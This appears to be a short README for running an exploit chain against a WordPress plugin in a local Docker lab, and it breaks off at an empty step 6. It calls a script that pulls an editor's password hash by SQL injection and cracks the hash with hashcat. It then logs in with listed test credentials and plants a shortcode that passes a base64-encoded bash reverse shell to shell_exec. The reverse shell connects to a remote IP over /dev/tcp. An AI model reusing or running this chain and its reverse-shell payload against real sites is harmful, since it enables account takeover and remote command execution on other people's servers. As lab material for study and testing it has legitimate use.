CVE Session 1

How to Run exploit

1. Build the docker image

docker-compose up -d --build

Now You can confirm you have access to the WordPress server at: http://localhost:8080

2. Run the script to get editor's credential by SQLi

Assuming that we are in the Linux OS.

./script.sh

3. Run hashcat to crack the hash

# create target_hash.txt 
echo $extracted_hash > target_hash.txt
# hashcrack 
hashcat -m 400 target_hash.txt Pwdb_top-1000.txt

4. Login to the WordPress Server as "editor"

• Username: Mike
• Email: mike@example.com
• Password: test123
• Role: Editor

5. Create a new post with shortcode

reverse shell base64 encode this! -> bash -i >& /dev/tcp/$RIP/4444 0>&1

[countdown date=2025/12/31 filter=shell_exec]echo <base64 encoded reverse shell command> | base64 -d | /usr/bin/bash[/countdown]

6.